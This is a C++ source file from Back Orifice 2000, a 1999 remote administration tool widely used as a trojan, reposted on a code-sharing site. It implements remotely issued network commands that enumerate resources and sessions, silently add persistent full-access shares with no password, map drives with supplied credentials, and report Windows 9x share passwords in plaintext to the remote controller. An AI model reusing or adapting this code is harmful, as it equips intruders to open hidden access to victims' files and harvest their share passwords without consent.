cmd_msnet.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:14k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<functions.h>
  19. #include<osversion.h>
  20. #include<cmdcmd_msnet.h>
  21. #include<strhandle.h>
  22. #include<permissions.h>
  23. #include<windef.h>
  24. #include<lmcons.h>
  25. #include<lmerr.h>
  26. #include<lmshare.h>
  27. #include<lmaccess.h>
  28. #define SHI50F_RDONLY 0x0001
  29. #define SHI50F_FULL 0x0002
  30. #define SHI50F_DEPENDSON (SHI50F_RDONLY|SHI50F_FULL)
  31. #define SHI50F_ACCESSMASK (SHI50F_RDONLY|SHI50F_FULL)
  32. #define SHI50F_PERSIST 0x0100
  33. #define SHI50F_SYSTEM 0x0200
  34. #pragma pack(push,1)
  35. struct share_info_50 {
  36. char shi50_netname[LM20_NNLEN+1];    /* share name */
  37. unsigned char  shi50_type;                 /* see below */
  38.     unsigned short shi50_flags;                /* see below */
  39. char FAR * shi50_remark;                   /* ANSI comment string */
  40. char FAR * shi50_path;                     /* shared resource */
  41. char shi50_rw_password[SHPWLEN+1];   /* read-write password (share-level security) */
  42. char shi50_ro_password[SHPWLEN+1];   /* read-only password (share-level security) */
  43. }; /* share_info_50 */
  44. struct share_info_2 {
  45.     char shi2_netname[LM20_NNLEN+1];
  46.     char shi2_pad1;
  47.     unsigned short shi2_type;
  48.     char FAR * shi2_remark;
  49.     unsigned short shi2_permissions;
  50.     unsigned short shi2_max_uses;
  51.     unsigned short shi2_current_uses;
  52.     char FAR * shi2_path;
  53.     char  shi2_passwd[SHPWLEN+1];
  54.     char shi2_pad2;
  55. };  /* share_info_2 */
  56. struct session_info_50 {
  57. char FAR * sesi50_cname;            //remote computer name (connection id in Netware)
  58. char FAR * sesi50_username;
  59. unsigned long sesi50_key;           // used to delete session (not used in Netware)
  60. unsigned short sesi50_num_conns;
  61. unsigned short sesi50_num_opens;    //not available in Netware
  62. unsigned long sesi50_time;
  63. unsigned long sesi50_idle_time; //not available in Netware
  64. unsigned char sesi50_protocol;
  65. unsigned char pad1;
  66. }; /* session_info_50 */
  67. #pragma pack(pop)
  68. void CIOSEnumRes(CAuthSocket *cas_from, int comid, NETRESOURCE *pNetContainer, DWORD dwScope, char *svSpacer)
  69. {
  70. char svBuffer[2048];
  71. // Open network resource list
  72. HANDLE hNet;
  73. if (pWNetOpenEnum(dwScope,RESOURCETYPE_ANY,0,pNetContainer,&hNet)!=NO_ERROR) return;
  74. // Enumerate resources
  75. int ret;
  76. DWORD dwCount,dwBufSize;
  77. NETRESOURCE *pNetRes;
  78. pNetRes=(NETRESOURCE *)malloc(16384);
  79. if(pNetRes==NULL) {
  80. pWNetCloseEnum(hNet);
  81. return;
  82. }
  83. dwCount=1;
  84. dwBufSize=8192;
  85. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  86. while(ret!=ERROR_NO_MORE_ITEMS) {
  87. char *svType,*svLocalName,*svRemoteName,*svComment;
  88. char svURLHead[MAX_PATH+1];
  89. char svURLFoot[MAX_PATH+1];
  90. svURLHead[0]='';
  91. svURLFoot[0]='';
  92. switch(pNetRes->dwDisplayType) {
  93. case RESOURCEDISPLAYTYPE_DOMAIN:
  94. svType="DOMAIN";
  95. break;
  96. case RESOURCEDISPLAYTYPE_GENERIC:
  97. svType="GENERIC";
  98. break;
  99. case RESOURCEDISPLAYTYPE_SERVER:
  100. svType="SERVER";
  101. break;
  102. case RESOURCEDISPLAYTYPE_SHARE:
  103. switch(pNetRes->dwType) {
  104. case RESOURCETYPE_DISK:
  105. svType="FOLDER";
  106. break;
  107. case RESOURCETYPE_PRINT:
  108. svType="PRINTER";
  109. break;
  110. default:
  111. svType="UNKNOWN";
  112. break;
  113. }
  114. break;
  115. default:
  116. svType="NETWORK";
  117. break;
  118. }
  119. if(pNetRes->lpLocalName==NULL) svLocalName="";
  120. else svLocalName=pNetRes->lpLocalName;
  121. if(pNetRes->lpRemoteName==NULL) svRemoteName="";
  122. else svRemoteName=pNetRes->lpRemoteName;
  123. if(pNetRes->lpComment==NULL) svComment="";
  124. else svComment=pNetRes->lpComment;
  125. if(!pNetRes->lpLocalName && !pNetRes->lpRemoteName) {
  126. wsprintf(svBuffer,"%.100s[%s] %.100sn", svSpacer, svType, svComment);
  127. } else {
  128. wsprintf(svBuffer,"%.100s[%s] %.100s (%.100s) "%.100s"n", svSpacer, svType, svRemoteName, svLocalName, svComment);
  129. }
  130. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  131. // Recurse if necessary
  132. if (pNetRes->dwUsage & RESOURCEUSAGE_CONTAINER && dwScope == RESOURCE_GLOBALNET) {
  133. char svSpacer2[100];
  134. lstrcpyn(svSpacer2,svSpacer,100);
  135. if(lstrlen(svSpacer2)<98) lstrcat(svSpacer2,"  ");
  136. CIOSEnumRes(cas_from,comid,pNetRes,dwScope,svSpacer2);
  137. }
  138. dwCount=1;
  139. dwBufSize=16384;
  140. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  141. }
  142. free(pNetRes);
  143. pWNetCloseEnum(hNet);
  144. }
  145. int CmdProc_NetExportAdd(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  146. {
  147. DWORD ret;
  148. CharUpper(svArg2);
  149. CharUpper(svArg3);
  150. if(g_bIsWinNT) {
  151. SHARE_INFO_502 shinfo;
  152. WCHAR wsvPath[MAX_PATH+1],wsvNetName[256],wsvRemark,wsvPasswd;
  153. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg2,-1,wsvPath,MAX_PATH+1);
  154. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg3,-1,wsvNetName,256);
  155. wsvRemark=(WCHAR)0;
  156. wsvPasswd=(WCHAR)0;
  157. shinfo.shi502_netname=(LPTSTR)wsvNetName;
  158. shinfo.shi502_type=STYPE_DISKTREE;
  159. shinfo.shi502_remark=(LPTSTR)&wsvRemark;
  160. shinfo.shi502_permissions=ACCESS_ALL;
  161. shinfo.shi502_max_uses=-1;
  162. shinfo.shi502_current_uses=0;
  163. shinfo.shi502_path=(LPTSTR)wsvPath;
  164. shinfo.shi502_passwd=(LPTSTR)&wsvPasswd;
  165. shinfo.shi502_reserved=0;
  166. shinfo.shi502_security_descriptor=NULL;
  167. ret=pLMSNetShareAdd(NULL, 502, (LPBYTE)&shinfo, NULL);
  168. } else {
  169. struct share_info_50 shinfo50;
  170. lstrcpyn(shinfo50.shi50_netname,svArg3,LM20_NNLEN+1);
  171. shinfo50.shi50_type=STYPE_DISKTREE;
  172. shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
  173. shinfo50.shi50_remark="";
  174. shinfo50.shi50_path=svArg2;
  175. shinfo50.shi50_rw_password[0]=0;
  176. shinfo50.shi50_ro_password[0]=0;
  177. ret=pSVRNetShareAdd(NULL, 50, (char *)&shinfo50, sizeof(struct share_info_50));
  178. }
  179. if(ret==NERR_Success) {
  180. IssueAuthCommandReply(cas_from,comid,0,"Share added successfully.n");
  181. } else {
  182. IssueAuthCommandReply(cas_from,comid,0,"Error adding share.n");
  183. }
  184. return 0;
  185. }
  186. int CmdProc_NetExportDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  187. {
  188. DWORD ret;
  189. CharUpper(svArg3);
  190. if(g_bIsWinNT) {
  191. WCHAR wsvNetName[256];
  192. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg3,-1,wsvNetName,256);
  193. ret=pLMSNetShareDel(NULL,wsvNetName,0);
  194. } else {
  195. ret=pSVRNetShareDel(NULL,svArg3,0);
  196. }
  197. if(ret==NERR_Success) {
  198. IssueAuthCommandReply(cas_from,comid,0,"Share removed successfully.n");
  199. } else {
  200. IssueAuthCommandReply(cas_from,comid,0,"Error removing share.n");
  201. }
  202. return 0;
  203. }
  204. int CmdProc_NetExportList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  205. {
  206. DWORD i;
  207. if(g_bIsWinNT) {
  208. SHARE_INFO_502 *pshinfo;
  209. DWORD dwCount,dwTotal;
  210. pLMSNetShareEnum(NULL,502,(LPBYTE *)&pshinfo,-1,&dwCount,&dwTotal,NULL);
  211. for(i=0;i<dwCount;i++) {
  212. char svBuffer[1024];
  213. char *svType;
  214. switch(pshinfo->shi502_type) {
  215. case STYPE_DISKTREE:
  216. svType="Disk";
  217. break;
  218. case STYPE_PRINTQ:
  219. svType="Printer";
  220. break;
  221. case STYPE_DEVICE:
  222. svType="Device";
  223. break;
  224. case STYPE_IPC:
  225. svType="IPC";
  226. break;
  227. default:
  228. svType="Unknown";
  229. }
  230. wsprintf(svBuffer,"%.100ls [%.100s] (%.260ls) '%.100ls'n",pshinfo->shi502_netname,svType,pshinfo->shi502_path,
  231. pshinfo->shi502_remark);
  232. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  233. if(pshinfo->shi502_security_descriptor) {
  234. IssueSecurityDescriptor(cas_from,comid,pshinfo->shi502_security_descriptor);
  235. }
  236. pshinfo++;
  237. }
  238. // pLMSNetApiBufferFree(pshinfo);
  239. } else {
  240. struct share_info_50 *pshinfo;
  241. WORD dwCount,dwTotal;
  242. pshinfo=(struct share_info_50 *)malloc(16384);
  243. if(pshinfo==NULL) {
  244. IssueAuthCommandReply(cas_from,comid,0,"Error enumerating shares.n");
  245. return -1;
  246. }
  247. pSVRNetShareEnum(NULL,(WORD)50,(char *)pshinfo,(WORD)16384,&dwCount,&dwTotal);
  248. for(i=0;i<dwCount;i++) {
  249. char svBuffer[1024];
  250. char *svType;
  251. switch(pshinfo->shi50_type) {
  252. case STYPE_DISKTREE:
  253. svType="Disk";
  254. break;
  255. case STYPE_PRINTQ:
  256. svType="Printer";
  257. break;
  258. case STYPE_DEVICE:
  259. svType="Device";
  260. break;
  261. case STYPE_IPC:
  262. svType="IPC";
  263. break;
  264. default:
  265. svType="Unknown";
  266. }
  267. wsprintf(svBuffer,"%.100s [%.100s] (%.260s) "%.100s"  RO passwd:%.100s  RW passwd:%.100s  %s%s%s%sn",
  268.   pshinfo->shi50_netname,
  269.   svType,
  270.   pshinfo->shi50_path,
  271.   pshinfo->shi50_remark?pshinfo->shi50_remark:"",
  272.   pshinfo->shi50_ro_password?(pshinfo->shi50_ro_password[0]!=''?pshinfo->shi50_ro_password:"(none)"):"(none)",
  273.   pshinfo->shi50_rw_password?(pshinfo->shi50_rw_password[0]!=''?pshinfo->shi50_rw_password:"(none)"):"(none)",
  274.   (pshinfo->shi50_flags & SHI50F_PERSIST)?"PERSISTANT ":"",
  275.   (pshinfo->shi50_flags & SHI50F_SYSTEM)?"SYSTEM ":"",
  276.   (pshinfo->shi50_flags & SHI50F_RDONLY)?"READONLY ":"",
  277.   (pshinfo->shi50_flags & SHI50F_FULL)?"FULL":"");
  278. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  279. pshinfo++;
  280. }
  281. free(pshinfo);
  282. }
  283. return 0;
  284. }
  285. int CmdProc_NetView(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  286. {
  287. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_GLOBALNET, "");
  288. return 0;
  289. }
  290. int CmdProc_NetUse(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  291. {
  292. char svBuffer[1024];
  293. NETRESOURCE nr;
  294. char *svLocalName, *svRemotePath, *svUsername, *svPassword;
  295. svLocalName=svArg2;
  296. svRemotePath=BreakString(svLocalName,",");
  297. while((*svRemotePath)==' ') svRemotePath++;
  298. svUsername=svArg3;
  299. svPassword=BreakString(svUsername,":");
  300. CharUpper(svLocalName);
  301. if(strncmp(svLocalName,"LPT",3)==0) nr.dwType=RESOURCETYPE_PRINT;
  302. else nr.dwType=RESOURCETYPE_DISK;
  303. if(svLocalName[0]=='') nr.lpLocalName=NULL;
  304. else nr.lpLocalName=svLocalName;
  305. nr.lpRemoteName=svRemotePath;
  306. nr.lpProvider=NULL;
  307. if(svPassword) if(svPassword[0]=='') svPassword=NULL;
  308. if(svUsername) if(svUsername[0]=='') svUsername=NULL;
  309. if(pWNetAddConnection2(&nr, svPassword, svUsername, CONNECT_UPDATE_PROFILE) != NO_ERROR) {
  310. wsprintf(svBuffer,"Error mapping shared device.n");
  311. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  312. } else {
  313. wsprintf(svBuffer,"Shared device mapped successfully.n");
  314. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  315. }
  316. return 0;
  317. }
  318. int CmdProc_NetDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  319. {
  320. char svBuffer[1024];
  321. if(pWNetCancelConnection2(svArg2,CONNECT_UPDATE_PROFILE,TRUE) != NO_ERROR) {
  322. wsprintf(svBuffer,"Error unmapping shared device.n");
  323. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  324. } else {
  325. wsprintf(svBuffer,"Shared device unmapped successfully.n");
  326. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  327. }
  328. return 0;
  329. }
  330. int CmdProc_NetConnections(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  331. {
  332. char svBuffer[1024];
  333. wsprintf(svBuffer,"Current connections:n");
  334. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  335. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_CONNECTED, "  ");
  336. wsprintf(svBuffer,"Persistent connections:n");
  337. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  338. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_REMEMBERED, "  ");
  339. wsprintf(svBuffer,"Incoming connections:n");
  340. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  341. if(g_bIsWinNT) {
  342. SESSION_INFO_502 *psinfo;
  343. DWORD dwCount, dwTotal, i;
  344. pLMSNetSessionEnum(NULL,NULL,NULL,502,(LPBYTE *)&psinfo,65536,&dwCount,&dwTotal,NULL);
  345. for(i=0;i<dwCount;i++) {
  346. wsprintf(svBuffer, "Computer: %.100ls User: %.100ls Opens: %d Time: %ds Idle: %ds Transport: %.100ls %s%sn", 
  347. psinfo->sesi502_cname, 
  348. psinfo->sesi502_username, 
  349. (int)psinfo->sesi502_num_opens, 
  350. (int)psinfo->sesi502_time, 
  351. (int)psinfo->sesi502_idle_time,
  352. psinfo->sesi502_transport,
  353. (psinfo->sesi502_user_flags & SESS_GUEST)?"(GUEST)":"",
  354. (psinfo->sesi502_user_flags & SESS_NOENCRYPTION)?"(NO ENCRYPTION)":"");
  355. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  356. psinfo++;
  357. }
  358. // pLMSNetApiBufferFree(psinfo);
  359. } else {
  360. struct session_info_50 *psinfo;
  361. WORD wCount, wTotal, i;
  362. psinfo=(struct session_info_50 *) malloc(16384);
  363. if(psinfo==NULL) {
  364. IssueAuthCommandReply(cas_from,comid,1,"Error allocating memory.n");
  365. return -1;
  366. }
  367. if(pSVRNetSessionEnum(NULL, 50, (char *)psinfo, 16384, &wCount, &wTotal)==0) {
  368. for(i=0;i<wCount;i++) {
  369. wsprintf(svBuffer, "Computer: '%s' User: '%s' Connects: %d Opens: %d Time: %d Idle: %d Prot: %dn", 
  370. psinfo->sesi50_cname, psinfo->sesi50_username, (int)psinfo->sesi50_num_conns, 
  371. (int)psinfo->sesi50_num_opens, (int)psinfo->sesi50_time, (int)psinfo->sesi50_idle_time,
  372. (int)psinfo->sesi50_protocol);
  373. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  374. psinfo++;
  375. }
  376. } else {
  377. IssueAuthCommandReply(cas_from,comid,1,"Error enumerating connections.n");
  378. free(psinfo);
  379. return -1;
  380. }
  381. free(psinfo);
  382. }
  383. return 0;
  384. }